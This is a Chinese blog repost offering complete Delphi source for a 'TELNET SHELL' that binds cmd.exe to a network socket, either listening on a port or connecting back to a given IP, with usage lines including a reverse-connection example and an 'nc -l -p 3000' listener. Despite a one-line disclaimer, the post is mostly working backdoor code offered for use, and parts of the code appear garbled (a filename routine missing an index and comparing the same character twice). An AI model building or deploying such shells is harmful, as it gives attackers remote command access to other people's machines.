支持正反连接的 TELNET SHELL 程序(附Delph源码)

 转自阿D'blog
TELNET SHELL 的C代码不少，DELPHI的比较少见，我把C代码改成DELPHI代码的，喜欢用DELPHI代码的朋友可以看看！只做编程参考，请匆用于破坏！

使用示例:
DShell.exe 3000 正向连接方式
DShell.exe 192.168.1.200 3000 反向连接方式

反向连接时，请先用NC等待反向的连接
nc -l -p 3000   //端口和上面的指定的端口要相同了

代码如下：

program D_Shell;
{$APPTYPE CONSOLE} //控制台程序

uses windows, Winsock2;


function StrToInt(const S: string): Integer;
var
E: Integer;
begin
Val(S, Result, E);
end;

function ExtractFileName(const Path: string): string;
var
i, L: integer;
Ch: Char;
begin
L := Length(Path);
for i := L downto 1 do
begin
   Ch := Path;
  if (Ch = '/') or (Ch = '/') then
  begin
     Result := Copy(Path, i + 1, L - i);
     Break;
  end;
end;
end;

const
line = '-----------------------------------------------';

var
wsadata: TWsadata;
MySocket: TSocket;
Addr: TSockAddrIn;
ClientAddr: TSockAddrIn;
ClientAddrLen: integer;
Clientsocket: TSocket;
Buf: array[0..1024] of char;
SI: TStartUpInfo;
PI: TProcessInformation;
re: integer;
str: string;
begin
try
   WSAStartup($202, wsaData); //初始化网络
  //创建 Socket
   MySocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);

  case ParamCount of
    1: //服务器模式
    begin
       Addr.sin_family := AF_INET; //
       Addr.sin_port := htons(strtoint(ParamStr(1))); //端口
       Addr.sin_addr.S_addr := htonl(INADDR_ANY); //任何地址
       bind(MySocket, @Addr, SizeOf(TSockAddrIn));
       listen(MySocket, 1);

      //读取并分配一个新连接进行处理
       ClientAddrLen := SizeOf(ClientAddr);
       Clientsocket := accept(MySocket, ClientAddr, ClientAddrLen);
    end;
    2: //连接模式
    begin
       Addr.sin_family := AF_INET;
       Addr.sin_addr.s_addr := inet_addr(pchar(ParamStr(1))); //指定IP
       Addr.sin_port := htons(strtoint(ParamStr(2))); //设置端口
       re := connect(MySocket, @Addr, SizeOf(TSockAddrIn)); //建立 Socket 连接
      if re <> 0 then exit;
       Clientsocket := MySocket;
    end;
  else begin //显示帮助信息
    writeln(line);
    writeln('[啊D TELNET SHELL] '#13#10'<a href="http://www.d99net.net" target="_blank" rel="external">http://www.d99net.net</a>');
    writeln(line);
    writeln('使用示例:');
     str := extractfilename(ParamStr(0)); //得到程序名
    writeln(str + ' 3000 正向连接方式');
    writeln(str + ' 192.168.1.200 3000 反向连接方式');
     exit; //退出
    end;
  end;

   GetEnvironmentVariable('COMSPEC', buf, 1024); //得到CMD位置
   FillChar(SI, SizeOf(SI), 0);
   SI.cb := SizeOf(TStartUpInfo);
   SI.dwFlags := $101;
   SI.hStdOutput := Clientsocket; //输出到 socket 中
   SI.hStdError := Clientsocket;
   si.hStdInput := Clientsocket; //把输入的内容输入到CMD管道
   createProcess(nil, buf, nil, nil, True, 0, nil, nil, SI, PI); //创建CMD
except

end;
end.